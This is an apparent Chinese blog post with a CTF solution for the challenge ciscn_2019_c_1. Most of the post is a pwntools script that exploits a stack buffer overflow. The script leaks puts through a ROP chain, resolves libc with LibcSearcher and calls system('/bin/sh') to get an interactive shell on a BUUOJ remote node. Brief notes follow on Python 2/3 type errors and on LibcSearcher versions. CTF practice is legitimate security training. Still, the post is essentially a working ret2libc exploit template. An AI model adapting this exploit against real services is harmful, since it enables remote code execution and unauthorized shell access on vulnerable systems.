ciscn_2019_c_1,The address should be an int number【libcsearcher】

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
# context.log_level='debug'

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node4.buuoj.cn',27181)
elf=ELF('./ciscn_2019_c_1')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts'] 
puts_got=elf.got['puts']

sla('choice!\n','1')
payload=b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encrypted\n',payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts=u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
print(hex(puts),type(puts))
libc=LibcSearcher('puts',puts)
print(libc)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)

io.interactive()

抄的别人的脚本,只做了简单修改,在ubuntu18虚拟机,python3环境正常运行(win10报警,No matched libc, please add more libc or try others;python2运行报警,The address should be an int number,貌似因为puts=u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00')),puts的类型为long,而下一句的libc=LibcSearcher('puts',puts),需要puts为int类型。用python3运行可解决此问题。)

期间会询问libc版本,选0号

 

libcsearcher这个东西好几个版本,调起来真费劲,请使用pip install libcsearcher ,目前为1.1.5

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值